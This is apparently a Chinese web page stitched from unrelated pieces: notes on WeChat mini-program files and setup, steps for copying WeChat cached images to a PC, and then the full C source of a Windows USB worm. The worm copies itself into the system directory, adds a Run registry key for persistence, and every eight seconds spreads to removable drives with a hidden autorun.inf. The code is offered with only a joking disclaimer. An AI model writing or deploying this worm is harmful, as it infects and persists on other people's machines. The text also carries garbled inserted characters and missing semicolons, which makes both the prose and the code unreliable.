小程序主要包含以下三个入口文件:
app.js 这个文件是整个悔亩小咐喊程序的入口文件,我们主要做了网络检测、用户信息获取等;当让也可以注入公用的方法在其他页面中去通过getApp()调用(注:页面中调用app.js中的方法时不需要通过require或者import引入)
app.json 这个文件可以对小程序进行全局配置,决定页面文件的路径、整体窗口表现、设置网络超时时间、设置多tab等.
app.wxss 是衡前野小程序的公共样式表
1、首先*开*豹清理大师进行扫描;
2、等扫描发现微信缓存的图片结束后;记下文件的位置。
3、然后手机通过数据线连接电脑,
4、在手机上选择,数据存储(传输),然后电脑上就能查看手机内存卡上的内容了;
5、接下来,在电脑上找到刚才记录下来的微信缓存文件夹,就可以通过复制、粘贴,把那些内容一次性存入电脑里了。
首先,需要申请账号根据指引填写信息和提交相应的资料,就可以拥有自己的小程序帐号。
登录之后我们可以在菜单 “设置”-“开发设置” 看到小程序的 AppID 了 。小程序的 AppID 相当于小程序平台的一个身份z,后续你会在很多地方要用到 AppID (注意态困这里要区别于服务号或订阅号的 AppID)。然后还需要个工具来开发小程序。
其次,安装开发工具。
前往 开发者工具下载页面 ,根据自己的 *** 作系统下载对应的安装包进行安装,
打开小程序开发者工具,用微信扫乱闭盯码登录开发者工具。
然后,新建项目选择小程序项目,选择代码存放的硬盘路径,填入刚刚申请到的小程序的 AppID,给你的项目起一个好听的名字,最后,勾选 "创建 QuickStart 项目" ,点击确定,你就得到了你的第一个小程序了,点击顶部菜单编译就可以在微信开发者工具中预览你的第一个小程序。
最后,编哗和译预览
点击工具上的编译按钮,可以在工具的左侧模拟器界面看到这个小程序的表现,也可以点击预览按钮,通过微信的扫一扫在手机上体验你的第一个小程序。
简单吧
#include<windows.h>#include "Shlwapi.h"
LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM)
void setBoot()//设置启动毕塌陵
void infect()//感染U盘
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD)
HWND hwnd
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
MSG msg
WNDCLASS wndclass
wndclass.cbClsExtra=0
wndclass.cbWndExtra=0
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1)
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS)
wndclass.hIcon=NULL
wndclass.hInstance=hInstance
wndclass.lpfnWndProc=myproc
wndclass.lpszClassName="test"
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC
wndclass.lpszMenuName=NULL
RegisterClass(&wndclass)
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL)
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg)
DispatchMessage(&msg)
}
return 0
}
LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)//窗口手戚函数
{
switch(message)
{
case WM_CREATE:
setBoot()
SetTimer(hwnd,1,8000,TimerProc)//定时发现并感染U盘,间隔8秒
return 0
case WM_DESTROY:
PostQuitMessage(0)
return 0
default:
return DefWindowProc(hwnd,message,wParam,lParam)
}
}
void setBoot()//设置为启动进程
{
int pcount
int i
char position[512]
char fileName[]={"\\hjb.exe"}
pcount=GetSystemDirectory(position,512)
for(i=pcountfileName[i-pcount]!='\0'i++)//获取系统目录
{
position[i]=fileName[i-pcount]
}
position[i]='\0'
char buffer[255]
if(PathFileExists(position)==false)//复制衫斗文件到系统目录
{
GetModuleFileName(NULL,buffer,255)
CopyFile(buffer,position,FALSE)
}
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"//修改注册表
HKEY hkResult
int rets
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult)
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32)
if(rets==0)
{
RegCloseKey(hkResult)
}
}
void createINF(char drive)//生成U盘上的AUTORUN.INF文件
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"}
char path[]={"x:\\autorun.inf"}
path[0]=drive
HANDLE inf
unsigned long count
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL)
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL)
CloseHandle(inf)
}
}
void infect()//感染可移动磁盘
{
char i
char pat[255]
char buffer[255]
char fileName[]={"\\hjb.exe"}
pat[1]=':'
pat[2]='\\'
pat[3]='\0'
int j
for(j=3fileName[j-3]!='\0'j++)
{
pat[j]=fileName[j-3]
}
pat[j]='\0'
for(i='C'i<='Z'i++)
{
pat[0]=i
pat[3]='\0'
if(GetDriveType(pat)==DRIVE_REMOVABLE)//是U盘的话
{
pat[3]='\\'
GetModuleFileName(NULL,buffer,255)
CopyFile(buffer,pat,FALSE)
SetFileAttributes(pat,7)
createINF(i)
pat[3]='\0'
}
}
}
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)//定时器函数
{
infect()
}
仅供参考 不要用来干坏事哦^_^
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)